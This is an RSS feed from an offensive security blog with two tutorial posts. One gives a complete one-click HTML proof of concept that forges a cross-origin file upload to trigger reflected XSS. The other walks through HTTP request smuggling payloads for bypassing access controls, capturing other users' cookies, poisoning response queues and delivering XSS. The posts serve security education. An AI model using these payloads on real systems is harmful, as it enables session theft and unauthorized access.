<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[CAIN]]></title><description><![CDATA[CAIN is an offensive security blog. We document vulnerabilities in depth, research new attack techniques, and explore how AI applies to offensive security.]]></description><link>https://blog.cain.tech</link><image><url>https://cdn.hashnode.com/uploads/logos/6a325b46e7bad03724fd2cb6/1594e083-8379-42f1-85b4-da0b5c894826.png</url><title>CAIN</title><link>https://blog.cain.tech</link></image><generator>RSS for Node</generator><lastBuildDate>Sat, 12 Sep 2026 13:36:39 GMT</lastBuildDate><atom:link href="https://blog.cain.tech/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[One Click, No File: Upload XSS Without the Upload]]></title><description><![CDATA[TL;DR
Reflected XSS on a file upload endpoint is routinely written off as unexploitable. The reasoning is always the same: the victim would have to craft a malicious file and upload it themselves, so ]]></description><link>https://blog.cain.tech/one-click-no-file-upload-xss-without-the-upload</link><guid isPermaLink="true">https://blog.cain.tech/one-click-no-file-upload-xss-without-the-upload</guid><category><![CDATA[XSS Attacks]]></category><category><![CDATA[XSS]]></category><dc:creator><![CDATA[Alejandro Baño]]></dc:creator><pubDate>Fri, 07 Aug 2026 09:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a325b46e7bad03724fd2cb6/77d09fc8-418a-45ec-817f-c390c0e1e571.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>TL;DR</h2>
<p>Reflected XSS on a file upload endpoint is routinely written off as unexploitable. The reasoning is always the same: the victim would have to craft a malicious file and upload it themselves, so there is no realistic attack path. That reasoning is wrong, and it is wrong for a boring reason — it is an assumption about <em>delivery</em>, not about the vulnerability.</p>
<p>A single HTML page can build the file in the victim's browser, populate a file input with it, and submit a cross-origin multipart POST as a top-level navigation. No file picker. No filesystem. One click on a link.</p>
<p>This post is about that pattern, why the obvious approach fails, and where its real limits are.</p>
<hr />
<h2>1. The assumption</h2>
<p>Find a reflection in a <code>?q=</code> parameter and nobody questions the impact. Find the same reflection behind an endpoint that consumes <code>multipart/form-data</code> and the conclusion flips: <em>only the person who uploaded the file can trigger it.</em></p>
<p>The unstated premise is that a file upload requires a human to open a file picker and select something from disk. That premise held in 2010. It has not held since <code>Blob</code>, <code>File</code> and <code>DataTransfer</code> became universally available.</p>
<p>The interaction required from the victim is exactly the same as for a reflected GET-based XSS: click a link. Everything after that click is automated. The rest of this post is the mechanics of that automation, and an honest accounting of what it does and does not buy you.</p>
<hr />
<h2>2. Anatomy of what you need to reproduce</h2>
<p>Before automating anything, look at the request you are actually trying to forge. Stripped down, an upload POST looks like this:</p>
<pre><code class="language-http">POST /api/import/validate/public HTTP/1.1
Host: target.example
Content-Type: multipart/form-data; boundary=----geckoformboundary12a924e3
Content-Length: 1189

------geckoformboundary12a924e3
Content-Disposition: form-data; name="file"; filename="poc.xml"
Content-Type: text/xml

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
...
------geckoformboundary12a924e3--
</code></pre>
<p>Three things matter:</p>
<ul>
<li><p><code>name="file"</code> — this is the parameter name. This is what the server binds to. Get it wrong and nothing works.</p>
</li>
<li><p><code>filename="poc.xml"</code> — often cosmetic, sometimes fed into extension validation, occasionally reflected itself.</p>
</li>
<li><p><strong>The inner</strong> <code>Content-Type</code> — the declared type of the part, independent of the request's own content type. Some validators check it, most do not.</p>
</li>
</ul>
<p>The boundary is irrelevant to you, and that turns out to matter a lot in the next section.</p>
<hr />
<h2>3. Why <code>fetch()</code> is the wrong tool</h2>
<p>The obvious first instinct is <code>FormData</code> plus <code>fetch()</code>. It builds a valid multipart body in three lines and it works perfectly — for a CSRF-style side effect.</p>
<p>It does not work for XSS, and the reason is worth internalising:</p>
<ul>
<li><p><code>fetch()</code> gives you the response as <em>data</em>, inside <strong>your</strong> origin's JavaScript context. Cross-origin, you either get blocked by CORS or, with <code>mode: "no-cors"</code>, an opaque response you cannot read at all. Either way the HTML is never parsed as a document, and no script in it ever executes.</p>
</li>
<li><p><strong>A real</strong> <code>&lt;form&gt;</code> <strong>submission</strong> performs a <strong>top-level navigation</strong>. The browser renders the response as a document, at the target's URL, in the target's origin. Any script in that response executes with full access to that origin.</p>
</li>
</ul>
<p>So:</p>
<blockquote>
<p><code>fetch()</code> — you can read the response, but you cannot execute it. <code>form.submit()</code> — you cannot read the response, but it executes in the target's origin.</p>
</blockquote>
<p>For XSS, always the second. As a bonus, the browser generates the boundary and assembles the body itself, which makes this approach considerably more robust than hand-rolling a multipart body as a string.</p>
<h3>"But doesn't the target have to allow my origin?"</h3>
<p>No, and this is the objection that comes up every time, so it is worth answering properly.</p>
<p><strong>CORS does not govern navigations.</strong> CORS decides whether <em>your JavaScript</em> is allowed to read a cross-origin response. Here you read nothing: the browser leaves your page and navigates to the target. Forms predate CORS by a decade and have always been submittable cross-origin. That is precisely why CSRF exists as a vulnerability class, if a cross-origin <code>&lt;form&gt;</code> needed the destination's permission, it wouldn't.</p>
<p>The consequence that matters: after the navigation, the document lives at <code>target.example</code>. Your script executes in <strong>the target's origin</strong>, with its <code>document.domain</code> and access to any non-<code>HttpOnly</code> cookie via <code>document.cookie</code>. Your attacker origin is no longer in the picture; the tab left.</p>
<p>What <em>can</em> stop you, in descending order of likelihood:</p>
<ul>
<li><p><strong>The response</strong> <code>Content-Type</code> <strong>plus</strong> <code>nosniff</code><strong>.</strong> The real gate. No <code>text/html</code>, no document, no execution.</p>
</li>
<li><p><strong>CSP</strong> <code>script-src</code><strong>.</strong> Kills inline execution even with a flawless reflection.</p>
</li>
<li><p><strong>Server-side</strong> <code>Origin</code> <strong>/</strong> <code>Referer</code> <strong>validation.</strong> The only one genuinely related to the question. The browser <em>does</em> send <code>Origin: https://attacker.example</code> on a cross-origin form POST, along with <code>Sec-Fetch-Site: cross-site</code>. This is not CORS — the header is informational — but plenty of frameworks validate it out of the box, and if the backend does, you are rejected before the reflection ever happens. Check this first; it is the single most common reason a working manual payload fails to fire from a hosted PoC.</p>
</li>
<li><p><code>X-Frame-Options</code> <strong>/</strong> <code>frame-ancestors</code><strong>.</strong> Irrelevant here, and that is exactly why the PoC uses a top-level navigation rather than an iframe. Those directives only govern framing.</p>
</li>
</ul>
<p>The price of being cross-site is the <code>SameSite</code> cookie loss covered below. If you need a same-site position, any HTML injection or open redirect on the target domain gives you one — and from there the cookies travel.</p>
<hr />
<h2>4. The obstacle: <code>input.files</code> is read-only</h2>
<p>You cannot do this:</p>
<pre><code class="language-js">input.value = "/etc/passwd";   // blocked
input.files = [myFile];        // TypeError
</code></pre>
<p>File inputs are deliberately locked down. A page that could set <code>input.value</code> could exfiltrate arbitrary files from the victim's disk, so browsers made <code>value</code> unwritable and <code>files</code> a read-only <code>FileList</code>.</p>
<p>The rationale is stated plainly in the spec history. When Nico Weber proposed lifting the restriction on the WHATWG list in 2012, he named the exact attack it was there to prevent assigning a filesystem path to <code>input.files</code> and submitting the form, and argued it no longer applied, since the attribute's type had changed from a string to a <code>FileList</code>. You cannot name a file on the victim's disk any more. You <em>can</em> hand the input a file you constructed yourself, and that is a different threat model entirely.</p>
<p>This is the wall that most upload-XSS PoCs hit, and it is the technical reason behind the self-XSS verdict. It also has a well-documented door in it.</p>
<hr />
<h2>5. The bridge: <code>DataTransfer</code></h2>
<p><code>DataTransfer</code> was built for drag &amp; drop. Unlike <code>FileList</code>, it is constructible and writable and its <code>.files</code> property is a genuine <code>FileList</code> that the file input accepts.</p>
<p>The whole chain is five steps:</p>
<pre><code class="language-plaintext">string → Blob → File → DataTransfer.items.add() → input.files → form.submit()
</code></pre>
<p>In code:</p>
<pre><code class="language-js">const blob = new Blob([xmlString], { type: "text/xml" });
const file = new File([blob], "poc.xml", { type: "text/xml" });

const dt = new DataTransfer();
dt.items.add(file);

input.files = dt.files;   // now legal
</code></pre>
<p>That is the entire trick. The file exists only in memory, never touches disk, and the victim never sees a file picker.</p>
<hr />
<h2>6. The full one-click PoC</h2>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;body style="font-family: sans-serif; text-align: center; margin-top: 50px;"&gt;

&lt;p&gt;Loading…&lt;/p&gt;
&lt;button onclick="go()"&gt;Continue&lt;/button&gt;

&lt;script&gt;
function go() {
  const payload = `&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;record&gt;
  &lt;field&gt;canary1a&amp;lt;script&gt;alert(document.domain)&amp;lt;/script&gt;canary1b&lt;/field&gt;
&lt;/record&gt;`;

  const blob = new Blob([payload], { type: "text/xml" });
  const file = new File([blob], "poc.xml", { type: "text/xml" });

  const dt = new DataTransfer();
  dt.items.add(file);

  const form = document.createElement("form");
  form.method  = "POST";
  form.action  = "https://target.example/api/import/validate/public";
  form.enctype = "multipart/form-data";

  const input = document.createElement("input");
  input.type  = "file";
  input.name  = "file";
  input.files = dt.files;

  form.appendChild(input);
  document.body.appendChild(form);
  form.submit();
}

window.onload = go;
&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>Host it anywhere, send the link, done. The <code>Continue</code> button is a fallback in case the auto-submit is suppressed, and it makes for a much better demo video than a page that flashes and redirects before the viewer sees anything.</p>
<hr />
<h2>7. Real-world gotchas</h2>
<p><code>SameSite</code> <strong>cookies.</strong> This is a cross-site POST, so <code>Lax</code> and <code>Strict</code> cookies do not travel. Your payload executes in the target's origin but in an <em>unauthenticated</em> context. Be honest about this in the report — it caps the impact at phishing under a trusted domain, response defacement, and abuse of origin trust, rather than session theft. Overselling it is the fastest way to lose a triager's goodwill.</p>
<p><strong>The</strong> <code>&lt;/script&gt;</code> <strong>trap.</strong> A template literal inside an inline <code>&lt;script&gt;</code> does not protect you: while in the script data state, the HTML tokenizer scans for the literal sequence <code>&lt;/script</code> and terminates the block there — string context, backticks and comments are all irrelevant. Write <code>&lt;\/script&gt;</code> and move on. This one costs people twenty minutes every single time.</p>
<p><strong>Encoding for the inner parser, which happens to solve the trap for free.</strong> This is worth walking through carefully, because three parsers are involved and each one sees something different.</p>
<p>In XML, <code>&lt;</code> is illegal in character data and must be written <code>&amp;lt;</code>. So the payload inside the template literal reads:</p>
<pre><code class="language-plaintext">canary1a&amp;lt;script&gt;alert(document.domain)&amp;lt;/script&gt;canary1b
</code></pre>
<p>Now trace it:</p>
<ol>
<li><p><strong>The HTML tokenizer</strong>, reading your inline <code>&lt;script&gt;</code> block, sees <code>&amp;lt;/script&gt;</code>. Character references are <em>not</em> decoded in the script data state, and there is no literal <code>&lt;</code> in front of <code>/script</code>, so the terminator never matches. Your script block survives — the <code>&lt;/script&gt;</code> trap is neutralised as a side effect of the XML encoding.</p>
</li>
<li><p><strong>The XML parser</strong> on the server decodes <code>&amp;lt;</code> back to <code>&lt;</code>, so the element value becomes the literal string <code>&lt;script&gt;alert(1)&lt;/script&gt;</code>.</p>
</li>
<li><p><strong>The victim's HTML parser</strong> receives that value reflected into the error page without encoding, and executes it.</p>
</li>
</ol>
<p><code>&gt;</code> needs no escaping in XML character data, which is why only the opening angle brackets are encoded. The general principle: encode for the parser immediately in front of you, not for the final sink. Every hop that decodes on your behalf is a hop that can carry your payload past a filter looking for <code>&lt;script</code>.</p>
<p><strong>CSP on the response.</strong> A restrictive <code>script-src</code> on the target kills inline execution even with a perfect reflection. Check it before spending an afternoon.</p>
<p><code>X-Content-Type-Options: nosniff</code><strong>.</strong> Half of this class of bug is the <em>response</em> content type. If it comes back as <code>application/json</code> with <code>nosniff</code>, the browser will not render it as a document and nothing runs.</p>
<p><strong>Extra parts and CSRF tokens.</strong> Add hidden inputs to the form for any additional fields. If the endpoint requires an unpredictable token, the chain breaks — and that is a legitimate reason for a lower severity.</p>
<p><strong>Extension and magic byte validation.</strong> You control the filename via the <code>File</code> constructor and the declared type via the <code>Blob</code>. For magic byte checks, prepend the required bytes to the blob contents.</p>
<p><strong>Post/Redirect/Get.</strong> If the server 302s after the POST, the reflected content may never be rendered. Worth checking early.</p>
<hr />
<h2>8. A worked example: the XML validation endpoint</h2>
<p>The pattern is easiest to see in a concrete shape, so here is one that turns up regularly: a public validation tool that accepts an XML document via <code>multipart/form-data</code> and validates it against an XSD.</p>
<p>When an element value fails validation, the server helpfully embeds that value <strong>verbatim</strong> into the error message — and serves the whole response as <code>Content-Type: text/html</code>.</p>
<p>Two independent defects, harmless apart, critical together:</p>
<ol>
<li><p>No contextual output encoding of the reflected value.</p>
</li>
<li><p>A content type that instructs the browser to parse the response as a document.</p>
</li>
</ol>
<p>That second point deserves emphasis, because it is the half everyone forgets. If the response came back as <code>application/json</code>, the exact same missing-encoding bug would execute nothing at all. The content type is not a detail of presentation, it is what decides whether a reflection is a cosmetic bug or an XSS.</p>
<p>The reflection points are easiest to find with random canary markers wrapping the payload: submit a document full of unique strings, then grep the error response to see exactly which values come back raw and which get escaped. Validation errors are verbose and nested, and eyeballing them does not scale.</p>
<p><strong>And no, this is not XXE.</strong> In a properly configured parser, external entity resolution is off: no <code>DOCTYPE</code> processing, no <code>SYSTEM</code> fetches, no out-of-band callbacks. Worth stating explicitly, because "XML upload endpoint" makes everyone reach for XXE first and then stop thinking. The interesting bug here is downstream of the parser, in what the application does with a value it has already safely parsed.</p>
<hr />
<h2>Try it yourself</h2>
<p>Everything above is reproducible locally in under two minutes:</p>
<p><a href="https://github.com/cain-infosec/upload-xss-lab">Reproducible lab</a>: a minimal vulnerable server that reproduces the reflect-plus-<code>text/html</code> <em>pattern, and a parameterised PoC template pointing at</em> <code>localhost</code>.</p>
<hr />
<h2>Prior art and credits</h2>
<p>None of the APIs used here are new, and this is not the first write-up to chain them. If you want the primary sources rather than another blog repeating them:</p>
<p><strong>Where the capability comes from</strong> — not security research, but the standards process:</p>
<ul>
<li><p><a href="https://lists.w3.org/Archives/Public/public-html-bugzilla/2010Aug/1048.html">W3C Bug 10505</a> (2010) — the original request to allow a <code>DataTransfer</code> to be passed to a file input, so that forms could be processed without AJAX.</p>
</li>
<li><p><a href="https://lists.whatwg.org/pipermail/whatwg-whatwg.org/2012-May/036140.html">WHATWG mailing list, May 2012</a> — Nico Weber's proposal to make <code>files</code> writable, including the security rationale for the original restriction. The single most useful link in this list.</p>
</li>
<li><p><a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=22682">W3C Bug 22682</a> (2013) — Ian Hickson confirming WebKit's implementation of <code>input.files = dataTransfer.files</code>, and the API design discussion around it.</p>
</li>
<li><p><a href="https://pqina.nl/blog/set-value-to-file-input/">Rik Schennink, "How To Set The Value Of A File Input"</a> — the clearest web-dev-side explanation, plus the browser support history (Safari was last, in 14.1) and the macOS quirk where the filename does not render.</p>
</li>
</ul>
<p><strong>Security-side prior art:</strong></p>
<ul>
<li><p><a href="https://mchklt.medium.com/self-xss-via-filename-csrf-on-contact-us-multipart-data-form-f852dd539547">mchklt, "Self-XSS via filename + CSRF on contact us 'multipart/data' form"</a> (2024) — the same chain applied to a reflection in the <code>filename</code> part. Notably, Burp's built-in multipart CSRF PoC handled everything except the file part, which is exactly why custom JS is needed. Also contains a neat filter bypass: <code>document['domain']</code> when dot notation is blocked. He credits an earlier write-up by Sabermohamed.</p>
</li>
<li><p><a href="https://www.asafety.fr/en/vuln-exploit-poc/poc-xss-elever-et-exploiter-une-self-xss-via-wysinwyc/">Yann C., "Leveraging Self-XSS via WYSINWYC"</a> — a different approach to the same problem, and worth reading for the framing: it lists the impossibility of automating a POST payload via form auto-submit as an inherent limitation of self-XSS. That assumption is precisely what this post argues is no longer true.</p>
</li>
</ul>
<p>What I hope this post adds is not the technique but the systematic treatment: why <code>fetch()</code> is the wrong tool, why CORS is not in play, where <code>SameSite</code> caps the impact, and how to demonstrate the whole thing so the delivery question never comes up.</p>
<hr />
<h2>Closing</h2>
<p>The vulnerability in the worked example is ordinary a missing <code>htmlspecialchars()</code> and a wrong <code>Content-Type</code>. What makes this class worth writing about is that the gap between "unexploitable" and "reflected XSS" usually has nothing to do with the vulnerability. It comes down to whether anyone bothered to solve the delivery problem.</p>
<p>Files are parameters. Build them in the victim's browser.</p>
]]></content:encoded></item><item><title><![CDATA[HTTP Request Smuggling Part 4 ]]></title><description><![CDATA[This article is for educational purposes only, and applies solely to systems you are explicitly authorized to test.

Introduction

Once a frontend and a backend disagree about where one HTTP request e]]></description><link>https://blog.cain.tech/http-request-smuggling-part-4</link><guid isPermaLink="true">https://blog.cain.tech/http-request-smuggling-part-4</guid><dc:creator><![CDATA[Olivia Pace]]></dc:creator><pubDate>Tue, 14 Jul 2026 13:36:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/c5efc3b0-f5b0-4872-a974-6484b6eaceb8.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>This article is for educational purposes only, and applies solely to systems you are explicitly authorized to test.</p>
</blockquote>
<h2>Introduction</h2>
<hr />
<p>Once a frontend and a backend disagree about where one HTTP request ends and the next begins, an attacker can smuggle a hidden request into the connection so the backend processes it as if it were legitimate. That core desync is only the starting point — this post walks through what an attacker can actually do with it, from bypassing access controls with zero victim interaction, to hijacking another user's session by getting them to unknowingly complete a malicious request.</p>
<p>All examples below use a CL.TE desync (frontend trusts <code>Content-Length</code>, backend trusts <code>Transfer-Encoding: chunked</code>) purely because it's the clearest to follow. The same outcomes apply to the other discrepancy types — TE.CL, TE.TE, CL.0, and HTTP/2 downgrade smuggling (H2.TE and H2.CL) — just with different headers triggering the mismatch.</p>
<p>We'll follow a progression from attacks requiring no victim interaction to attacks affecting every user of the application:</p>
<table>
<thead>
<tr>
<th>Escalation Level</th>
<th>Example Attack</th>
<th>What the Attacker Gains</th>
</tr>
</thead>
<tbody><tr>
<td>No victim</td>
<td>Frontend access-control bypass</td>
<td>Direct access to protected functionality</td>
</tr>
<tr>
<td>Passive victim</td>
<td>Cookie theft / Response Queue Poisoning</td>
<td>Another user's authenticated data</td>
</tr>
<tr>
<td>Active victim</td>
<td>Reflected XSS via request smuggling</td>
<td>Code execution in another user's browser</td>
</tr>
<tr>
<td>Mass impact</td>
<td>Web cache poisoning / Cache DoS</td>
<td>Impact on every user who visits the site</td>
</tr>
</tbody></table>
<h2>Attacks with No Victim</h2>
<p><em>The attacker sends every byte and reads the result themselves; no other user is ever involved.</em></p>
<hr />
<h3>Bypassing frontend access controls</h3>
<hr />
<p>Imagine an <code>/admin</code> endpoint that's supposed to be reachable only by internal users — but that restriction is enforced by the frontend, not the backend.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/327b8b08-f874-4181-9008-e8c7bc57ef43.png" alt="" style="display:block;margin:0 auto" />

<p>If the site is vulnerable to HTTP request smuggling, we can smuggle a hidden <code>/admin</code> request past the frontend's access controls and have it executed directly by the backend.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/0f88a24a-327c-4da3-b2bb-23995cf0915b.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Request 1 — Smuggling the hidden request</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/8e073938-9709-4e93-a860-33f8fee8c617.png" alt="" style="display:block;margin:0 auto" />

<p>The attacker sends a CL.TE payload containing a hidden <code>GET /admin</code> request after the chunk terminator (<code>0\r\n\r\n</code>). The frontend forwards the entire request based on <code>Content-Length</code>, but the backend stops parsing at the chunk terminator and treats the smuggled <code>GET /admin</code> as leftover data.</p>
<p>The POST receives a normal <code>200 OK</code> response, while the hidden <code>/admin</code> request remains buffered on the backend connection, waiting to be processed next.</p>
<p><strong>Request 2 — Bypassing the frontend control</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/dcdb78b7-4044-45d0-8dce-41d26de3cc3c.png" alt="" style="display:block;margin:0 auto" />

<p>The attacker sends a second ordinary request, no victim is involved.</p>
<ul>
<li><p>It passes through the frontend normally; there's nothing suspicious about it, so the frontend never inspects or blocks it.</p>
</li>
<li><p>At the backend, the buffered leftover from Request 1 is still queued at the front of the connection. The backend prepends the smuggled <code>GET /admin</code> request to this new request, effectively processing <code>/admin</code>.</p>
</li>
</ul>
<p>Because the backend — not the frontend — is the one enforcing routing to <code>/admin</code>, and the frontend never saw <code>/admin</code> as a distinct request to filter, the frontend access control is bypassed entirely. The <code>/admin</code> response comes back to the attacker on their own Request 2, so no victim interaction is ever required.</p>
<h3>Revealing frontend header rewriting</h3>
<hr />
<p>Some frontends don't just forward requests — they rewrite them, appending a header the backend relies on for its access decision (a common example is <code>X-Forwarded-For</code> or <code>Client-IP</code>, set to the real client's address before forwarding).</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/1863c7a8-080b-40a6-b2ae-820715d452ef.png" alt="" style="display:block;margin:0 auto" />

<p>Request smuggling can be used to reveal exactly what the frontend is rewriting. If you can get the smuggled request reflected somewhere publicly visible — for example, stored and displayed as a comment on a web page — you can read back the raw request as the backend actually received it. This exposes any headers the frontend added, modified, or stripped, giving you a precise picture of its rewriting logic.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/9a91f23c-2661-496c-b6f6-7ab6998cd22c.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Request 1 — Smuggling a partial comment submission</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/a3a73479-3979-4d73-aa0f-70851a9f81ac.png" alt="" style="display:block;margin:0 auto" />

<p>The attacker sends a CL.TE payload containing the start of a second, incomplete comment submission (<code>POST ... User=User3&amp;Comment=</code>). The frontend forwards the entire request and appends its usual headers (such as <code>X-Real-IP</code>), but the backend stops parsing at <code>0\r\n\r\n</code> and leaves the incomplete comment buffered on the connection.</p>
<p>The open <code>Comment=</code> field remains waiting for additional data, which will be supplied by the next request that arrives on that connection.</p>
<p><strong>Request 2 — completing the smuggled comment with hidden headers</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/2bf38235-a949-4a09-be6b-34cc731b71ef.png" alt="" style="display:block;margin:0 auto" />

<p>A second request arrives and is forwarded normally. Because the backend is still holding the buffered <code>Comment=</code> field from Request 1, the frontend-added headers (such as <code>X-Real-IP</code>) are absorbed into the comment instead of being treated as part of a new request.</p>
<p>When the comment is later displayed, it reveals the raw request as the backend received it, including any headers the frontend injected, modified, or stripped.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/b8d40f1c-6ec7-47ed-ab93-33268c9f140d.png" alt="" style="display:block;margin:0 auto" />

<h2>Attacks with a Passive Victim</h2>
<p><em>A victim is required, but only as a source of data. The attacker never sends them a payload or targets their browser directly; the victim simply makes a normal request that becomes part of the attack.</em></p>
<hr />
<h3>Stealing another user's request as stored input</h3>
<hr />
<p>Rather than completing our own smuggled request, we can leave it deliberately unfinished so the backend keeps waiting on the connection for more bytes. The next real user to hit that same backend connection has their request appended directly into ours.</p>
<p>The setup mirrors the header-rewriting attack above: the same partial <code>POST … User=User3&amp;Comment=</code> smuggled fragment, left open. The difference is who supplies the bytes that complete it.</p>
<p><strong>Request 1 — Smuggling a partial comment submission</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/f9b5874d-f2d0-42c5-bbee-a53ddc37e0de.png" alt="" style="display:block;margin:0 auto" />

<p>The attacker sends the same partial POST as before (conflicting <code>Content-Length</code> / <code>Transfer-Encoding: chunked</code>, body ending in <code>0\r\n\r\n</code> followed by the deliberately incomplete <code>POST / … Comment=</code>).</p>
<ul>
<li><p>The frontend forwards it by <code>Content-Length</code>; the backend stops at <code>0\r\n\r\n</code> and buffers the open-ended <code>Comment=</code> fragment, responding <code>200 OK</code> to what it thinks was a complete request.</p>
</li>
<li><p>The fragment stays buffered on the connection, with <code>Comment=</code> still open, waiting for whatever data arrives next.</p>
</li>
</ul>
<p><strong>Request 2 — hijacking a real user's request to steal their cookie</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/d1aaa92f-3375-4721-a79b-0eef863d2b7e.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>When a legitimate user's request arrives, the backend appends it to the attacker's incomplete comment instead of treating it as a separate request.</p>
</li>
<li><p>As a result, the victim's request — including their session cookie — is stored inside the comment, allowing the attacker to retrieve it later in the comment section.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/4749c31f-f7da-4cb1-8692-11fd16fcd18a.png" alt="" style="display:block;margin:0 auto" />

<h3>Response Queue Poisoning</h3>
<hr />
<p>Response Queue Poisoning (RQP) exploits desynchronization between frontend and backend to misroute responses. Instead of tricking the backend into completing an incomplete request, the attacker sends two well-formed requests that are interpreted differently, causing responses to reach the wrong clients.</p>
<p><strong>Crafting the RQP payload (CL.TE)</strong></p>
<pre><code class="language-plaintext">POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 42\r\n
\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
\r\n
</code></pre>
<blockquote>
<p><strong>Byte check.</strong> The body is everything after the blank line:</p>
<pre><code class="language-plaintext">0\r\n                 →  3
\r\n                  →  2
GET / HTTP/1.1\r\n    → 16
Host: example.com\r\n → 19
\r\n                  →  2
= 42 bytes
</code></pre>
</blockquote>
<p>The critical detail is that the smuggled GET request ends with a blank line (<code>\r\n\r\n</code>), which closes its header section and makes it a fully valid, self-contained request the backend will queue and process independently.</p>
<p>The result: the frontend believes it sent one POST, while the backend has queued two separate requests — the POST (which ends at the chunk marker) and the complete GET. This mismatch is what creates the poisoned response queue.</p>
<p><strong>The attack flow</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/3823665c-02e5-4969-b811-416d01899e2e.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p><strong>Step 1 — attacker sends the smuggling payload.</strong> The frontend treats it as one POST and forwards it. The backend interprets it as POST + hidden GET, queuing both: <code>[POST (attacker), GET (smuggled)]</code></p>
</li>
<li><p><strong>Step 2 — a user submits login credentials.</strong> A legitimate user sends a login POST, which arrives at the backend and joins the queue behind the smuggled GET: <code>[POST (attacker), GET (smuggled), POST /login (user)]</code></p>
</li>
<li><p><strong>Step 3 — attacker sends a follow-up request.</strong> The attacker sends another simple GET, which also joins the queue: <code>[POST (attacker), GET (smuggled), POST /login (user), GET (attacker)]</code></p>
</li>
</ul>
<p><strong>The response mismatch: four responses, three requests sent</strong></p>
<p>The backend processes all four requests in order and generates four responses:</p>
<ul>
<li><p><code>POST /</code> (attacker's main POST) → <code>200 OK</code></p>
</li>
<li><p><code>GET /</code> (smuggled GET) → <code>200 OK</code></p>
</li>
<li><p><code>POST /login</code> (user's login) → <code>302 Found</code> (with <code>Set-Cookie</code> / session token)</p>
</li>
<li><p><code>GET /</code> (attacker's follow-up) → <code>200 OK</code></p>
</li>
</ul>
<p>However, the frontend believes it only sent three requests: the attacker's POST, the user's <code>POST /login</code>, and the attacker's GET.</p>
<p>When the four responses arrive from the backend, the frontend routes them based on its own incorrect count:</p>
<ul>
<li><p>Response 1 → attacker (the POST response) ✓</p>
</li>
<li><p>Response 2 → user (should be the login response, but it's actually the smuggled GET's response)</p>
</li>
<li><p>Response 3 → attacker (should be the attacker's GET response, but it's actually the <strong>user's login response</strong>)</p>
</li>
<li><p>Response 4 → lost or delayed</p>
</li>
</ul>
<p>The frontend and backend disagree on request boundaries: the frontend sees three requests while the backend processes four. Because it sent fewer requests than the backend processed, the frontend misroutes the responses — handing the attacker the victim's login response. In this example, this captures the user's session token without the attacker ever touching the login endpoint directly.</p>
<h2>Attacks with an active victim</h2>
<p><em>Now the victim is the target, not just the source: the attacker's response is delivered into the victim's browser and executes under the site's own origin.</em></p>
<hr />
<h3>Escalating reflected XSS into a stored-like vulnerability</h3>
<hr />
<p>HTTP Request Smuggling can dramatically increase the impact of a reflected XSS vulnerability. Normally, reflected XSS requires the attacker to persuade a victim to visit a specially crafted URL containing the payload. If the victim never clicks the link, the attack never executes.</p>
<p>For example, imagine the application reflects the search term without proper escaping:</p>
<pre><code class="language-plaintext">GET /search?q=&lt;script&gt;alert(1)&lt;/script&gt; HTTP/1.1
Host: example.com
</code></pre>
<p>When processed, the payload is echoed back into the response and executed by the browser. The attacker must therefore convince each victim to visit a malicious URL, making the attack relatively unreliable.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/5139c360-3388-482d-bb21-451950bba357.png" alt="" style="display:block;margin:0 auto" />

<p>If the same application is also vulnerable to HTTP Request Smuggling, the attacker can deliver that exploit without requiring any user interaction.</p>
<p><strong>Crafting the payload</strong></p>
<p>The attacker embeds the reflected-XSS request inside a CL.TE desynchronization payload:</p>
<pre><code class="language-plaintext">POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 66\r\n
\r\n
0\r\n
\r\n
GET /search?q=&lt;script&gt;alert(1)&lt;/script&gt; HTTP/1.1\r\n
X-Ignore: x
</code></pre>
<blockquote>
<p><strong>Byte check.</strong> The body is everything after the blank line:</p>
<pre><code class="language-plaintext">0\r\n                       →  3
\r\n                        →  2
GET /search?q=&lt;script&gt;alert(1)&lt;/script&gt; HTTP/1.1\r\n → 50
X-Ignore: x                → 11
= 66 bytes
</code></pre>
</blockquote>
<p><strong>Request 1 — Smuggling the hidden request</strong></p>
